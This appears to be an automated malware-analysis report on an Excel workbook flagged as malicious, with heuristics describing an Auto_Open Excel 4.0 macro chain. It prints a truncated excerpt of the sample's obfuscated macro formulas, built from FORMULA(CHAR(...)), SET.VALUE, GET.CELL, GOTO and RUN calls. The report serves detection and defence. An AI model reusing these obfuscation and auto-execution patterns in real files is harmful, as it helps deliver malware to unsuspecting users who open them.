MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a common technique for executing malicious code upon opening the workbook. The heuristics indicate an obfuscated execution chain involving RUN, FORMULA(CHAR), state-transfer, and risky-formula commands, suggesting the macros are designed to perform an action beyond typical spreadsheet operations. The specific commands and their obfuscated nature point towards an attempt to download or execute a secondary payload.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAINExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 128500 bytes |
SHA-256: 19a017a298c8d866cf6c6533c179288819fca7c08ed7088213a967342e975937 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Sheet ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!GP40570 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Sheet,ET189,"",-2.74683544303797466668 ' Sheet,HP215,"",12.52941176470588224845 ' Sheet,EM237,"",0.21830985915492956417 ' Sheet,EV261,"",-252.00000000000000000000 ' Sheet,IK269,"",279.00000000000000000000 ' Sheet,EL292,"",-0.76923076923076927347 ' Sheet,GN292,"",-0.48984468339307046802 ' Sheet,CO303,"",264.00000000000000000000 ' Sheet,BT322,"",-0.41743119266055045413 ' Sheet,HI328,"",-2.58522727272727292913 ' Sheet,BX335,"",149.00000000000000000000 ' Sheet,DB354,"",-1.09375000000000000000 ' Sheet,HT373,"",148.69999999999998863132 ' Sheet,HM380,"",0.06300984528832630216 ' Sheet,CC498,"",-1140.00000000000000000000 ' Sheet,DK579,"",-271.00000000000000000000 ' Sheet,IQ621,"",8.35294117647058875775 ' Sheet,GB627,"",0.20276497695852535585 ' Sheet,HC631,"",-316.00000000000000000000 ' Sheet,GQ640,"FORMULA(CHAR(EY18111-BN4186)&CHAR(JA14884/EU31090)&CHAR(JA14884*DG16743)&CHAR(BK17206/IH39067)&CHAR(CR25624+EF45282)&CHAR(HT1758-CC28231)&CHAR(CR25624/CL9507)&CHAR(JA14884+JE61455)&CHAR(HT1758*JO40582)&CHAR(HT1758-CD24124)&CHAR(HT1758-CK36177)&CHAR(GD2286*ET35156)&CHAR(GD2286-Z60615)&CHAR(JA14884/CR56111)&CHAR(HT1758/A57683)&CHAR(DN25323-JD41809)&CHAR(BK17206*DE44879)&CHAR(BK17206/HO14543)&CHAR(BK17206+BG61717)&CHAR(GD2286/IK15509)&CHAR(EY18111/IS17556)&CHAR(CR25624-L28161)&CHAR(JA14884-BN59034)&CHAR(FC35073-EY11439)&CHAR(CR25624/CV34953)&CHAR(FC35073-O12910)&CHAR(FC35073+JQ47292)&CHAR(HV46020/GS37739)&CHAR(BK17206+DG40918)&CHAR(HT1758*FV26701)&CHAR(FR719/GT2421)&CHAR(GD2286-FU9741)&CHAR(FR719-EK21634)&CHAR(FC35073+HF6608)&CHAR(DN25323-FA59161)&CHAR(BK17206-GT47680)&CHAR(HT1758-HH57967)&CHAR(HV46020+FB18675)&CHAR(BK17206/GU31133)&CHAR(GD2286-HX14255),GQ641)","" ' Sheet,GQ642,GOTO(GG62474),"" ' Sheet,BY661,"",266.00000000000000000000 ' Sheet,DN718,"",274.00000000000000000000 ' Sheet,DX746,"",0.10548523206751055092 ' Sheet,DM780,"",167.00000000000000000000 ' Sheet,N802,"",117.00000000000000000000 ' Sheet,CO810,"",269.00000000000000000000 ' Sheet,GW810,"",-267.00000000000000000000 ' Sheet,EA816,"",-1.33333333333333325932 ' Sheet,GM859,"",-0.92289719626168231770 ' Sheet,HF1050,"",273.00000000000000000000 ' Sheet,CK1129,"",292.00000000000000000000 ' Sheet,FZ1134,"",-0.15596330275229358664 ' Sheet,IP1160,"SET.VALUE(JA14884,GET.CELL(50,IU12724)+476-5)","" ' Sheet,IP1161,RUN(BS55721),"" ' Sheet,GT1172,"",-156.00000000000000000000 ' Sheet,FH1240,"",344.00000000000000000000 ' Sheet,EE1285,"",-0.04495412844036697497 ' Sheet,JM1288,"",10.30434782608695698514 ' Sheet,FK1332,"",0.11111111111111110494 ' Sheet,IH1367,"",6.35820895522388074284 ' Sheet,HA1473,"",-339.00000000000000000000 ' Sheet,GB1494,"",-0.02083333333333333218 ' Sheet,BU1525,"",-340.00000000000000000000 ' Sheet,EJ1550,"",-304.00000000000000000000 ' Sheet,HN1565,"",-0.93162393162393164481 ' Sheet,GB1585,"",372.00000000000000000000 ' Sheet,CZ1604,"FORMULA(CHAR(HT1758-BZ35492)&CHAR(CR25624*FZ1134)&CHAR(HT1758*EI40133)&CHAR(FC35073-BW16148)&CHAR(HV46020-CG23461)&CHAR(FC35073/IB26048)&CHAR(DN25323+CJ16632)&CHAR(BK17206+BW8588)&CHAR(BK17206-DG55567)&CHAR(HT1758/EC42078)&CHAR(EY18111+HM5953)&CHAR(JA14884+JP24453)&CHAR(JA14884-U47682)&CHAR(CR25624/Y62016)&CHAR(JA14884+HY30059)&CHAR(CR25624/JP21159)&CHAR(BK17206/GU45883)&CHAR(GD2286-CA15683)&CHAR(JA14884-EA39753)&CHAR(HV46020-BR21930)&CHAR(GD2286+JN63636)&CHAR(HV46020+BN21484)&CHAR(HT1758-JR23483)&CHAR(GD2286*GO22224)&CHAR(DN25323+DA39263)&CHAR(CR25624*GP17418)&CHAR(FR719/FD43236)&CHAR(FR719+JG39999)&CHAR(DN25323*IJ22316)&CHAR(EY18111*HN1565)&CHAR(EY18111/DW39901)&CHAR(FC35073*JO54299),GX52507)","" ' Sheet,CZ1605 ... (truncated) |
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